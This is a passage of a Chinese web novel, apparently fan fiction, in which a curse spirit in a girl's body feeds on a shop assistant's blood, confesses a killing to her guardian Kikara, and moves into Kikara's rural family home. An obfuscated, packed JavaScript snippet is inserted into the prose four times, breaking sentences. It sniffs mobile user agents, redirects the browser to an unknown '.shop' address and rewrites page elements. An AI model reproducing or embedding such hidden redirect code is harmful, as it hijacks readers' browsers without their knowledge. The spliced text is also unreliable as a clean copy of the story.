薇奥拉在更衣室内换下自己身上的裙子,将那条点缀着蕾丝和系带的粉色公主裙套在身上。 琪卡拉一进商场就把挑选衣服的决定权交在了她手里,但是在看见漂亮衣服时还是忍不住堆在薇奥拉面前,面露期待。 薇奥拉照单全收,一一试穿。然后继续挑方便活动,色调不会很鲜艳的衣服。导购小姐看见她小小一只,像个大人一样认真挑选衣服,但是挑选的衣服都很简单,不起眼。 霎时心都要化了。 她蹲下身,问薇奥拉要不要试一试橱窗里那件漂亮的公主裙,“穿上了肯定很漂亮,像公主一样。” 薇奥拉转头看向她:“只是看起来像而已。” 本质不会有任何改变。 “诶……”导购小姐愣住了, 琪卡拉食指搭在下巴上,为不知所措的店员小姐解围:“但是,穿着漂亮的衣服,心情也会很好吧。” 薇奥拉垂眸思考片刻,“嗯,你说的有道理。” 她转头对导购小姐说道:“请把这件给我拿下来试一试吧。” 她抱着一大堆衣物进了更衣室,合上门,拉上帘子。 褪去衣物,将新衣服套在身上,拉上身后的拉链,慢条斯理地整理系带和裙摆。 抬头看着镜子,里面的小女孩样貌精致可爱,与橱窗内看到的假人模特无异。 确实很漂亮。 薇奥拉笑了出来,镜子里的小女孩也跟着嘴角上扬。 但是不够,想要安然无恙地生活下去,自己的身份是个大问题。 无论是身为咒灵的灵魂,还是这具正在使用着的躯体。 利坦疯疯癫癫的,虽然昨晚就应该死了,但难保他被警察带走时没有吐露些什么不该说的话。 利坦千辛万苦偷来的实验体没有成功给他女儿用上,倒是招来了自己这个咒灵,还让自己有了身体。 这具身体的来源……她想起了昨晚琪卡拉与西诺尔的对话。 是个大问题啊,人类的技术也太不可思议了吧,薇奥拉在心里抱怨。 昨晚西诺尔要从她这里采血做检查时,薇奥拉还有些抗拒,她怀疑西诺尔取她血肉的目的,毕竟血肉是可以直接用来诅咒的最佳素材。 西诺尔听了她不情愿的缘由笑得几乎直不起腰,于是给刚出生没多久的咒灵普及了一遍采血检查的用途和功能。 薇奥拉轻轻敲了敲更衣室的门,一直守在门边的导购小姐听到动静,问道:“怎么了?是有什么问题吗?” 门“吱呀”一声打开了,露出一条缝隙,薇奥拉探出脑袋, “系带散开了,你可以帮我吗?” “当然可以。”虽然有些惊讶,但导购小姐还是微笑着答应了,被薇奥拉牵着手进入了更衣室。 “是哪里……”话还没说完,她就晕死过去,倒在地上。 薇奥拉松开手,将门重新关上。 她低头静静凝视了一会儿躺在地上昏迷的导购小姐,纤细娇小,还没有戒备心,是最合适的猎物选项。 薇奥拉走到她身旁蹲下身,抬起她的一只柔软纤细的手腕,递到嘴边。 嘴唇张开,尖锐的犬齿狠狠嵌入手腕上细细的青色血管内,脆弱的皮肉瞬间被划破,泊泊鲜血流入薇奥拉的口中。 她牢牢吸吮着温热柔软的手腕,喉头不断吞咽着滚烫的血液。 估摸着差不多了,她才停下自己的动作,舔了舔伤口,将最后一点残血舔掉。 手指拂过伤口,破损的皮肉愈合,淤青和吸吮产生的血点也不见了,手腕白皙,光洁如初。 待导购小姐靠着墙角被众人包围着醒来时,还有些不知所措。 看她似乎没什么大碍,同事松了一口气,“你要是再不醒,我们就要把你送去医院了。” “我怎么会晕倒呢,我记得我在更衣室……” 同事絮絮叨叨的:“你低血糖犯了,在更衣室晕倒把人家小女孩吓了一跳,急急忙忙跑出来叫人。以后不要减肥了,早饭还是很重要的。” 是这样吗? 导购小姐有些茫然,后脑勺的钝痛又分散了她的注意力。 同事将糖果塞到她手里,指了指门口的灰蓝发的小女孩,“这个是她送你的,还和我们说以后要叮嘱你好好吃饭。” 小女孩好像察觉到了这边的视线,转过头来,对她们笑得乖巧,红润的嘴唇抿出一抹甜美的微笑。 琪卡拉察觉到薇奥拉的停顿,也随着她转头看去:“店员小姐看起来已经没事了,真是太好了!” 薇奥拉轻声符合:“是啊。” 两人继续朝着前方走去,还有许多东西等着她们两个采购呢。 导购小姐望着她们俩人离去的身影,下意识攥紧手心里的糖,尚有些余温的糖块硌手。 她迷迷糊糊地想,我吃过早饭了呀,怎么会晕倒呢? 后脑勺又隐隐作痛了起来。 可能是最近太累了吧? 看来下次休假时要去医院检查了。 * 我们这样提着大包小包进警局真的没问题吗? 薇奥拉拎着两个袋子一脸凝重地想,即使她再缺乏常识,也知道面前这个和小山无异的人不适合进去。 走到门口结果发现小孩没跟上的琪卡拉艰难转头:“你怎么不过来。” 脖子和胳膊都挂满东西,两条臂力超绝的手还能还抱住堆成一人高的盒子山。 怪不得琪卡拉她说村子里偏远但不影响生活,原来她一次性就带半年份的东西回家。 可是这样的人形路障已经把警局门口牢牢堵死了啊。 薇奥拉:“我们会被赶出去的吧。” 注意到门口动静赶过来的警察身上散发的可不是善意的情绪。 “这个时候把我口袋的卡片掏出来就可以逆转形式。” “只需要大喊一声,‘滴!猎人卡’就能成功刷取别人的尊重值。” 琪卡拉对薇奥拉深沉点头,将这个重大任务交给了她。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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利坦的死状诡异可怖,就连经历过大风大浪的负责审讯的老前辈也被吓得不轻。 更别说还有案发现场的诡异血阵和作为祭品死亡的少女这些灵异因素叠加了。 警局内部都颇有些人心惶惶。 听见事情好像并不是自己想的那样,琪卡拉的表情缓和了很多,她将证物袋递给警察小哥,又拿出了冲印好的相片。 言简意赅:“带路。” 警察小哥怀里抱着证物,忙不迭地走在前面,“这件事情实在是太诡异了,局长要求我们封锁消息,可是媒体的嗅觉跟见血的鲨鱼没有两样,想方设法试探内情。要是没有合理的解释我们迟早又会被骂上天的。” 说到这里他又重新戴上了痛苦面具。 跟着这位小哥走在警局里的一路上碰上的警官们无不眼下青黑,显然昨晚发生的事情不小。 薇奥拉坠在最后面,小步挪动,不情不愿地跟上。 5. 隐瞒 第五章 琪卡拉穿上防护服,大步走进法医解剖室,解剖台上躺着一具看不出人形的不明生物遗体。 法医出具的报告显示利坦的死因是大脑严重变形,颅内高压损伤大脑。 至于大脑变形的原因暂时还没找到。 她仔细在这怪物脸上观察半天,才依稀辨认出一点科尤多·利坦的五官痕迹。 又直接上手检查,一些微小细节也能核对上,确实是利坦的遗体。 “监控呢?带我去看。”琪卡拉脱下手套,顺势将身上的防护服一并脱下。 工作状态的琪卡拉和平时不一样,更加锐利,气势迫人。薇奥拉一直跟在她身后居然也在警局内畅通无阻。 监控室里内烟雾缭绕,烟灰缸里堆满了烟头,一个个胡子拉碴的大汉都用着熬了一整夜的兔子眼反复拉拽视频进度条,试图在监控视频里找出科尤多·利坦异常死亡的原因或者线索。 可斯克局长此时也在监控室内,见进门的是琪卡拉,简直跟遇上了救星一样,热情地将人迎到自己的位置上。 在监控室内的其他警员连忙把烟掐断,靠近窗户的则是立马将窗户打开通风。 “这里环境不好让琪卡拉小姐见笑了,说实话你帮助了我们这么多,好歹收尾是我们应该做的。” “只是事情实在难以找到突破点,你见多识广,我便厚着脸皮请你帮我们看看是否有什么线索。” 他将科尤多·利坦自进入警局起的所有相关监控视频都调出来从头给琪卡拉播放一遍。 利坦从警局门口押送进审讯室的过程都很不老实,从一开始保持沉默到后面又哭又笑,疯疯癫癫地喊着“失败”、“回不来了”,“我的薇奥拉”、“薇奥拉!”、“恶魔!”之类颠三倒四的话。 神志十分不清醒的样子。 审讯人员坐在他的对面,两人没有任何接触。 早就看过多次视频的局长已经对事情发生的节点异常熟悉,他出声提醒:“差不多就在这里。” 琪卡拉眼睛眯起,只见监控视角下,情绪激动的利坦突然倒在桌子上,身体抽搐了两下。 随后脑袋膨隆胀大,眼框变形位移,犹如苍蝇复眼般在圆球样的头顶两侧突出,五官严重变形,四肢像是被巨大的脑袋吸干了一样萎缩蜷起,手铐和脚铐自萎缩干瘦的肢体上滑落,软趴趴的身体只剩一个巨大的脑袋卡在审讯桌和椅子间的缝隙里,没有下滑。 怪不得警局的人都会用诡异来形容这件事,在无任何外力作用的情况下发生,确实会束手无策。 琪卡拉沉吟片刻:“看起来像是某种罕见的诅咒,但我对这方面的研究不深。” 听到可能是诅咒,可斯克局长的脸色更难看了,“这种诅咒是否会有传染性呢?” 接触到利坦的人可不少,要是真有传染性,他们警局的人首当其冲要死一大半。 “一般来说这样强大的诅咒都会有苛刻的条件才能激发,只是普通的接触应该不会传染。我会向猎人协会提交报告,让他们派专门的人来接手这件后续。” 局长在听说会有人来接手后松了口气,有专业的猎人来处理才能放心。 “那就麻烦琪卡拉小姐了。” “没事,我待会儿就打电话回协会,为了不造成恐慌档案要封存好交给协会派来的人。” 局长彻底放下心来,瞟到琪卡拉身后的小尾巴时,他疑惑地问道:“这个小女孩是?” “我的女儿,我们长得像吧?” 不,一点都不像。 但是仅剩的情商让他把这句话咽回去了,他干笑道:“确实挺像的。” 琪卡拉:“那没什么事的话,我们就先走啦。” * 薇奥拉拎着小袋子,站在警局旁的车站里和琪卡拉一道等着下一班公交车,鞋子在地上时不时划来划去。 “他们不知道我。”她闷声开口。 薇奥拉回想了一下,那天晚上因为她吐在自己身上了,所以琪卡拉没有等到警察来就着急忙慌地就先带她去西诺尔的诊所检查身体。 从局长的反应来看,他不认识在这起失踪案内与核心无异的小女孩薇奥拉,原因只有一个—— “因为我没把关于你的事情报上去,那边的现场我昨晚也再回去清理了一遍。” “现场照片我拜托西诺尔伪造了几张,把你的存在彻底抹除,你的档案也拜托他一并弄好。”就是她昨晚又一次弄醒西诺尔时,他的表情特别恐怖。但是具现化系真的很好用。西诺尔可以用念笔写出他想要的物体,但是因为物体是由气构成,存在时效性。 西诺尔根据相机拍摄的所有现场照片,伪造出利坦将残肢拼凑出具体人形放置于复活血阵中心的照片。将这些残肢打造为利坦复活薇奥拉·利坦的载体。 虽然具现化系制造出的东西时间一到就会消散,但是照片这种东西只要经过数据扫描,就可以冲印出真正的毫无破绽也不会消失的实物照片。 毕竟利坦的研究资料都在家中没来得及转移而被付之一炬,没人知道利坦复活仪式的具体流程。 就当作为复活仪式载体的薇奥拉一开始就不存在吧。 “现在利坦又没有交代出什么有价值的东西就死了,所以很顺利地将你瞒下来了。” 薇奥拉实验体的身份是个定时炸弹,能在巴托奇亚共和国首都比杜桑市建一个私人研究所的人背景必然深厚。 前天还能联系到研究所里利坦的同事获取证词,昨天晚上得知薇奥拉的实验体身份再次调查研究所时,发现那里已经注销搬走了。 就连之前联系过的工作人员也因车祸死亡。 估计那边已经知道实验体失踪的事情了。 那么实验体失踪离查到利坦身上也不远了,不知道研究所背后的人权势够不够看到猎人协会封存的档案,即使能够查看,也只会得到实验体死于利坦家那场大火的结论。 “刚好你和我一起在乡下呆几年避避风头。” “你不问我利坦的事么?”薇奥拉低垂着脑袋,灰蓝色的长发自肩膀滑落,遮住了大半张脸。 她有些摸不准琪卡拉的想法,因为琪卡拉看起来很平静,不论是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154326|196512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表情还是情绪。 琪卡拉应该知道利坦的死与她相关了。 与其让怀疑积攒在一起,然后不知道什么时候被引爆,不如主动出击。 “这是你的能力?”琪卡拉确实有些好奇,薇奥拉身上流散的“气”与普通人一样,周身也没有缠绕着“念”,也就是说她并不是念能力者。 那么她的能力又从何而来呢?唯一合乎情理的答案便是薇奥拉实验体的身份。 薇奥拉点了点自己的眼睛:“我能看到人类的灵魂和所有的负面情绪。” 能够观测到,就能触摸,改变也自此发生。 “我一睁开眼,他就掐住我脖子,骂我恶魔。”薇奥拉垂下眼眸,简单地讲述事情的经过。 因为实在没有力气差点在刚睁眼时被捂死,好在琪卡拉来得及时,将利坦打倒。 “后面他在地上动了一下抓住了我的脚,就下意识地……” “没想到他的身体会变成那种怪样子,即使及时变回来,但是他的身体也承受不住两次变形,当天晚上就崩溃了。” 琪卡拉没有再详细询问具体细节,只是问道:“罪人的灵魂是什么样的?” “和普通人没什么两样,但是杂质会更多一些,很难看。” “我的呢?” “金红色的宝石,很漂亮。”薇奥拉歪头看向琪卡拉,她那一头艳丽的红发在阳光散射下泛起薄薄的毛茸茸的金光,于是薇奥拉向她形容道:“就像你现在的头发一样,闪闪发光。” 琪卡拉想象了一下,煞有介事地说:“那肯定相当漂亮了。” “你不骂我吗?”薇奥拉问道, “你为什么觉得我会骂你呢?”琪卡拉反问。 “因为是我将利坦变成那个样子的,我夺走了他的生命。” 原以为在琪卡拉面前坦白会很艰难,但真正说出口后反而十分顺畅。 “我会接受你给的惩罚,但如果你想杀我,我会逃跑。”薇奥拉直视琪卡拉的双眼,一金一蓝的瞳孔澄澈冷然,“要是你追上来,那么我会全力反击杀掉你。” “我可没说要惩罚你,也不会杀了你。”琪卡拉微笑着,看起来心情居然很轻松, “倒不如说,作为才经过一天相处的家人,你能向我讲述自己的秘密,向我袒露自己的真实,我觉得很高兴。” 这个女人……好可怕, 她的情绪和想法就如同她的言语一样没有任何修饰, 薇奥拉从来没有觉得能够感知别人的情绪会这么不适,她浑身僵硬,呆立在原地。 “我不是圣人,我的双手也并不干净,我不在意罪人的生命,当他们手染无辜者的鲜血时,我就不再把他们当做人类了。”琪卡拉将手上的东西放下,温暖的手掌搭上薇奥拉的肩膀, “但是我不希望你过早地沾染上血腥味,生命是有重量的。”她轻轻地将薇奥拉眼前的碎发别在耳后, “现在的你会为夺走一个罪人的生命感到不安,正说明你开始真正理解了生命的重量。记住这份感觉,薇奥拉,坚守住自己纯粹的灵魂吧。” 6. 家 第六章 琪卡拉没有说错,她所居住的哈鲁村真的很偏远。薇奥拉面无表情地坐在车上摇晃了两个小时的车程,最后停在一个看起来又小又破的候车亭边。 和琪卡拉一起将她花了五张坐票才堆放得下的生活物资取下车,公交车就利落地转向,只留下一道黑色的尾气,转眼间就化作一个小点消失在视野里。 薇奥拉伸长脖子左右张望,也只在树林和灌木丛的遮蔽下看到一些隐隐约约的屋顶,她指着前方:“是在这个村子里吗。” 琪卡拉:“还要往前再走半个小时到山脚,然后再爬一个小时的山路,最后过一座桥就到了哦。” 薇奥拉半月眼:“这种场景说是拐卖小孩也一点都不违和吧。” 琪卡拉:“咦,你现在都知道拐卖是什么意思啦。” 薇奥拉:“……在警局听到的。” 琪卡拉若有所思,没想到薇奥拉的学习能力这么强。 薇奥拉浑然不觉琪卡拉的打算,只是一个劲地迈着短腿跟上琪卡拉的脚步。 乡下小路不好走,走到山里更是坑坑洼洼,时不时有树根藤蔓绊脚。 琪卡拉却好似脚底长眼睛了一样,准确避开障碍,身上挂着一堆东西也不影响她的敏捷性,脚步轻快。 鼻尖是清爽的草木清香,伴随着脚步的深入,薇奥拉能从情绪浓度感知到人群的分布逐渐稀疏,好在没什么妨碍,只是她的成长速度会慢上一些。 侧脸避开差点要打上脸颊的锋利草叶,抬眼琪卡拉又蹿出一大截了,只能加快速度追上在山里和猴子一样敏捷的琪卡拉。 终于到了琪卡拉口里的桥了, 连接两座山峰绝壁的吊桥在山风的吹拂下轻轻晃动,虽然风景开阔优美,但薇奥拉对安全问题持有保留意见。 “你带这么多东西承重没有问题么?” “哦,现在的吊桥很结实,两个月前我刚回乡的时候断过一次。真是好险,好在只有我一个人,在那之后我把这座桥修过一遍了,我们两个人过也没问题。”琪卡拉露出爽朗的笑,要不是腾不出手,她得拍拍胸膛来保证自己修的桥绝对安全。 薇奥拉:…… 还真的断过啊。 经琪卡拉之手修建好的桥确实很牢固,踏上吊桥时的晃动不可避免,两人还是顺利过了桥。 村子就在山坡下依山而建,三三两两的独栋小屋依偎在一起,零零散散的顺着山坡的走势组成了一条丝带的形状。 琪卡拉示意薇奥拉看向南边的那栋三层小屋,红砖白墙,外形上与其他造型朴素的房子有着区别,感觉更加洋气时髦。 琪卡拉用着骄傲的语气向薇奥拉介绍:“这栋房子是我妈妈画的图纸,我爸爸建起来的,怎么样,好看吗?” 薇奥拉点头, 明显比其他的房子好看了不止一个等级,人类的贪欲和攀比心最终会演变为嫉妒,她甚至都不需要思考,就知道当年建成后绝对少不了麻烦事。 琪卡拉察觉到薇奥拉兴致不高,有些担心,“怎么了?不喜欢这种风格吗?” 薇奥拉摇摇头,小皮鞋蹭了蹭草地上柔软的细草茎。 随后她抬头扬起狡黠笑意:“我很喜欢,这里很漂亮。我们比一场吧,最后到的人要答应第一名一个要求。” 随后就迎着波动起伏的青翠草浪朝山脚的漂亮砖瓦房跑了下去。 琪卡拉被薇奥拉骤然绽放的灿烂笑容萌得反应都慢了两拍,还是很快就反应过来,紧追着薇奥拉的脚步。 两人猪突猛进地下山,倒是把在院子里给花浇水的库露亚奶奶给吓一跳,年纪大了眼神不好,还以为是山上的野猪带崽下山了呢。 差点将家里的猎枪端出来,还好琪卡拉一头的红发异常显眼,她老人家眯缝了半天眼睛才认出了自己的孙女。 但是旁边多出的小野猪……小孩又是哪里来的? * 比赛结果是平局还真是皆大欢喜。 薇奥拉坐在沙发上,捧着热热的花草茶,面前的小茶几上还摆着一盘新鲜出炉奶香浓郁酥松可口的曲奇饼。 “真是的,这么大个人了还搞什么惊喜。”库露亚奶奶瞪了琪卡拉一眼,但是上扬的嘴角让她的凶狠瞪眼打了一半折扣,“都不知道提前打给电话让我准备一下薇奥拉的房间吗?” 琪卡拉嘻嘻哈哈,“要是提前告知就不是惊喜了。” “而且我们薇奥拉是个很有想法和个性的小女孩,她的房间待会儿就由我和她一起布置吧。” “现在的年轻人确实都很有想法,那布置房间的任务就交给你们了。”库露亚奶奶赞同了琪卡拉的说法。 “但今天的晚餐得让我来准备,薇奥拉来到我们家的第一餐要隆重一点,这可是庆祝新家庭成员的到来必不可少的仪式感。” “奶奶做的莓果挞和炖牛肉最好吃了。”琪卡拉拿起桌上的曲奇,一口一个,含糊不清地说道:“我们快点上去布置完房间,就能享受大餐了。” 库露亚奶奶的手艺很好,这是薇奥拉在吃到第一口曲奇时就明白的至高真理,好吃到都要融化了。 这样的美味都算不上最拿手吗? 薇奥拉带着对人类美食的敬意,吃曲奇饼的速度都加快了不少。 然后在最后一块的争夺战中因为手短惜败于琪卡拉。 “一楼有客厅、左边是餐厅、厨房,平时我们就在这里吃饭,右边的是奶奶的房间,因为年纪大了腿脚不便住一楼会方便一些。” “后面还有一个储物间,用来存放一些农具和工具。” 琪卡拉带着薇奥拉拐上二楼,“二楼也有个小的会客室,一间藏书室,里面的书都是我爸爸妈妈的收藏,你喜欢想看书的话可以进来找,因为他们两个都很喜欢看书,所以种类齐全,整个村子没有一家的藏书会比我家多。” “平时在二楼的露台上喝茶,看书消磨时间都很惬意。” “旁边的是我爸妈的卧室,他们去世之后就封起来了,我和奶奶只有在定期打扫时才会进去。”琪卡拉指着一扇紧闭的门对薇奥拉解释。 随后就带薇奥拉上了楼梯, “另一边是我的房间,你的房间在三楼,三楼上的小阁楼可以用作秘密基地,那里离星星很近,阁楼的天窗最适合观星了。”琪卡拉有些怀念地看向房间中央童话风的小床, “我小时候就住在这里,这张小床还是我爸爸给我做的,现在归你啦。” “不用担心,它很结实。你现在想放哪里呢?” “被子是我出发去闪金市前晒过的,还很蓬松。来选一套自己喜欢的被套,都是洗过的。” “哦,还想要一个小书架吗?没有问题,喜欢什么款式,改天我给你做。” 薇奥拉在房间里转来转去,原本还有些空泛的不知所措,在琪卡拉一个个具体的问题下凭借自己的喜好逐渐敲定了房间的模样。 家具重新挪动到新的位置,擦洗打扫干净,薇奥拉新添置的星星灯放在床头柜上,从市里带来的素色窗帘垂落在窗户两旁,新买的衣服填进衣柜,空荡荡的房间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154327|196512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内一点点被薇奥拉的东西占据。 就像圈地盘一样,薇奥拉心想,以后这里就是我的地盘,我的家了。 她抬起头看着琪卡拉在记事本上一项项将现在缺少的东西列为代办事项。 这些古怪的符号,一个也看不懂。就像闪金市街边的店铺招牌上的符号一样,歪七扭八。 “好啦好啦,收工。忙了这么久我都饿了。”记事本一合顺手揣兜里,琪卡拉伸了个懒腰。 薇奥拉也闻到了从一楼飘上来,逐渐浓郁的温暖香气。 “开饭了。”库露亚奶奶的嗓门很大,明明身材瘦小佝偻,却能发生这样洪亮的声音。 现在薇奥拉终于知道琪卡拉那极具穿透力的大嗓门是遗传谁的了。 琪卡拉半个身子探出楼梯的护栏,双手围在嘴边,“我们这就来!” 她也以超大声回应奶奶的开饭信号。 喊完之后她对薇奥拉解释:“奶奶年纪大了,距离远一些她就听不清楚,所以在楼上回话要用喊的。” 薇奥拉表示记下来了。 餐厅的桌子不大,薇奥拉与琪卡拉一左一右紧凑地坐在库露亚奶奶身边,餐桌上炖牛肉在刀叉的进攻时颤颤巍巍地抖动,褐色汤汁在暖黄的灯光下显示出一种诱人的色泽,一看便知这肉必然软烂可口,汁水风味浓郁丰富。 新鲜的杂鱼汤奶白鲜香,里面加入的蔬菜也是刚采摘不久的,蔬菜的自然鲜甜与鱼肉的鲜嫩完美交融。 佐餐的白葡萄酒是自家酿造,别具一番风味,薇奥拉因为还是小孩子,她的杯子里装的是葡萄汁,酸酸甜甜带着葡萄果香,她尝到第一口的时候眼睛就亮了。 饭后的莓果挞更是让薇奥拉给出了世界第一的评价,哪怕她没有吃过多少东西,但这样的莓果挞只要吃过一次就再也不会忘记,简直是一次味蕾的革命。 库露亚奶奶和琪卡拉聊着天也不忘观察薇奥拉的反应,想看看今晚的饭菜是否合她的胃口,然后就被薇奥拉的神色变化逗得合不拢嘴。 “味道怎么样?”她笑眯眯地问道。 薇奥拉擦了擦嘴,严肃地给予了最高等级的夸奖:“震撼美味。” “你能喜欢真是太好了。”库露亚奶奶得意地说,“对于这个莓果挞我可是相当的自信,以后就可以当成是我们家的祖传食谱,开头要写由库露亚奶奶研究发明。” 琪卡拉第一个举手响应:“由我来负责编写吧,我的字写得好看。” 这个时候自己好像也应该主动担任一项任务, 薇奥拉的身体僵硬住了,罕见的有些为难:“……我不识字。” 琪卡拉:“噗呲。” 薇奥拉的学习速度太快,她都差点忘了薇奥拉严格意义上只有两天的记忆,还是个宝宝呢。 库露亚奶奶安慰她,并给了正在大笑的琪卡拉一个脑瓜崩,“可以让琪卡拉教你,家里也有字典,跟着认一些常用字也不难。” 薇奥拉有些失望,库露亚奶奶的莓果挞她也有点兴趣, 但食谱的分工似乎已经没有可以让她做的工作了。 只能在心里默默将识字这一项列为紧急待办事项。 有丰富育儿经验的库露亚奶奶一眼就能看出薇奥拉实际在苦恼些什么,这样的小烦恼难不倒她。 “食谱写好之后,最重要的就是传承,你就负责将这个震撼美味的莓果挞的味道流传下去。薇奥拉,如果不介意的话就跟着我一起学做莓果挞吧。” !!! 薇奥拉眼睛亮晶晶的答应了。 7. 镜子 第七章 一顿满足的晚饭后,琪卡拉自觉接过了洗碗的工作,“在我们家做饭的人不必洗碗,这可是铁律。” 她从洗碗池里捞出一个盘子,熟练地用百洁布清理。 对开启了跟随模式,好奇地看向一池泡沫的薇奥拉说道:“你要试试吗?” 薇奥拉点头,哒哒哒跑去拿了个小板凳来,琪卡拉往右边挪一步给薇奥拉腾出来半个身位。 薇奥拉伸手直直地插进泡沫里,很明显,比起清洗滑溜溜的碗碟,她对泡沫塑形的艺术更感兴趣。 琪卡拉对此早有预料,本来也没指望她能正经干活,玩就玩吧,小孩子都这样嘛。 待她洗干净所有碗碟后,再看向薇奥拉的大作。 …… 她还是第一次知道泡沫能够捏成那样稀烂扭曲的形状,依稀可以辨认薇奥拉是在创作某种生物,因为能够看出一点肢体和躯干的分别,就是五官的数量和分布位置都极其随意,看起来很是猎奇。 薇奥拉:“怎么样?可爱吗?” 琪卡拉额角滴下冷汗, “我那里还有一些绘本和画集,不认识字也可以看的。”最终她还是决定多对薇奥拉进行一些审美的熏陶。 满意地看过琪卡拉的反应后,薇奥拉对于泡沫的兴趣消散得比泡沫还快。 “嗯。”她将自己手里的未知泡沫生物盘子塞进琪卡拉手里。 “该洗了。” “欸?不玩了吗?”琪卡拉有些惊讶, “玩过了,现在已经没有兴趣了。”薇奥拉打开水龙头,冲洗自己手上的泡沫, “而且泡沫这种东西太脆弱了,消散得也很快。”洁白的泡沫在水流的冲刷下很快消失,顺着水流的方向流进下水道。 “说得也是呢。”琪卡拉叫住要跳下凳子的薇奥拉,微笑着重新将盘子放回她手里, “不过我已经洗完了所有的碗,这个要自己收拾哦,泡沫冲干净后记得擦干。” 薇奥拉低头和盘子里丑丑的已经开始融化得不成样子的白色泡沫产物对视, 撇撇嘴,露出一个嫌弃的表情,利落地开始干活。 * 坐在客厅,腿上盖着薄毯的库露亚奶奶对着走出厨房的琪卡拉露出一个欣慰的笑,“琪卡拉已经是个真正成熟的大人了呢。” “奶奶你就别打趣我了,说实话我从来没有养过孩子,之前也从未有过要养育一个小孩的想法,总感觉现在有些梦幻。”琪卡拉往沙发上随意一躺,蛄蛹两下,面朝天花板躺在奶奶身旁。 她对库露亚奶奶稍稍吐露了些心声:“薇奥拉的来历有些特殊,她缺乏常识,但在某些方面又远比普通小孩成熟敏感。” 对于人心的恶意也过于敏锐了,琪卡拉能察觉到薇奥拉对于人类的看法和态度是消极的,在大街上她对于行人的观察眼神是无机质的,游离于外。 对于她投以恶意甚至是非善意的凝视都会被她迅速察觉,然后回报以等量甚至更多的恶意和警惕。 或许这也与薇奥拉能够看到人类的灵魂有关。 人类最丑恶的一面在她面前无所遁形。 若对她释放善意,那么她就是平和无害的,甚至会学着回馈善意。 在琪卡拉看来,薇奥拉更像是一面镜子,对她释放什么信号,她就会对你反射什么信号。 “我很担心我自己的理想与信念加诸于她身上又是否会伤害她呢?” 做了十年的赏金猎人,琪卡拉见过各种人性之恶,不惮以最坏的结果来揣测人心。 但薇奥拉尚不成熟,没有形成自己的三观,就这样一直直面人类的恶意,让一个本能对所有人类本性保持警惕的孩子强行要求她拥有正义又善良的奉献品质会不会是一种苛责呢。 但是不伤害无辜之人是琪卡拉的底线,只有这一条是无论如何也要让薇奥拉遵守的。 “能够思考这样的问题就已经证明了你不会伤害她。”库露亚奶奶粗糙温暖的大手轻轻抚摸琪卡拉的脑袋,“薇奥拉也是个好孩子,对自己和她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154328|196512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都自信些吧。就这样慢慢来,没问题的。” 待到薇奥拉擦干净手出来时,她们的话题已经变成琪卡拉去市里的这几天库露亚奶奶在家里又做了什么事, 薇奥拉没有径直上楼回房间,安静地在琪卡拉身边的位置坐下,与她一起倾听库露亚奶奶充实的生活日程。 毕竟以后要在这里生活,多了解这个家和村子没有坏处。 库露亚奶奶说她前两天去村里擅长培育花草的老格林那里买了袋新的花种,已经种在院子里了,真期待日后它们开花的样子;稻子的选种育苗工作也完成了,就等琪卡拉回来后一起插秧;邻居盖比今天又来过了,送了一桶自己钓的小鱼,想问问琪卡拉回家没有…… 讲到这里,她看向琪卡拉:“你这几天去市里有见着奇安娜吗?盖比这几天状态不太好,他心里着急但又不好意思天天来找我这个老太婆,只能用送东西来做借口。” 奇安娜……薇奥拉听到这个名字,最先想起的还是那个苍白的头颅,明明已经合上了眼,神态却称不上安详,恐惧的神色在死亡的那一刻就定格在了她脸上。 琪卡拉没有说话, 库露亚奶奶就已经明白了一切。 这次琪卡拉一连在市里待了几天未回,心里就有不祥的预感了,只是尽量想往好的方面想,才抱有一丝希望。 她叹了一口气,拉住了琪卡拉,“明天再去吧,夜晚太安静了。” 做了这么多年的邻居,盖比性格内向,又因为腿脚残疾自卑。偏偏青梅竹马的妻子生下奇安娜后去世了,奇安娜就是他生活中唯一的寄托。 若是贸然得知奇安娜的死讯,夜晚静悄悄暗沉沉的,一个人呆着各种负面情绪就容易滋生,库露亚奶奶怕盖比大叔走极端,大晚上又无人知晓,便拦住了琪卡拉。 瞧见奶奶满是皱纹的脸上染上些许倦容,琪卡拉沉默了一会儿,要将她扶进房间休息。 库露亚奶奶摆了摆手:“我还没有老到走不动路。” 自己起身回去了。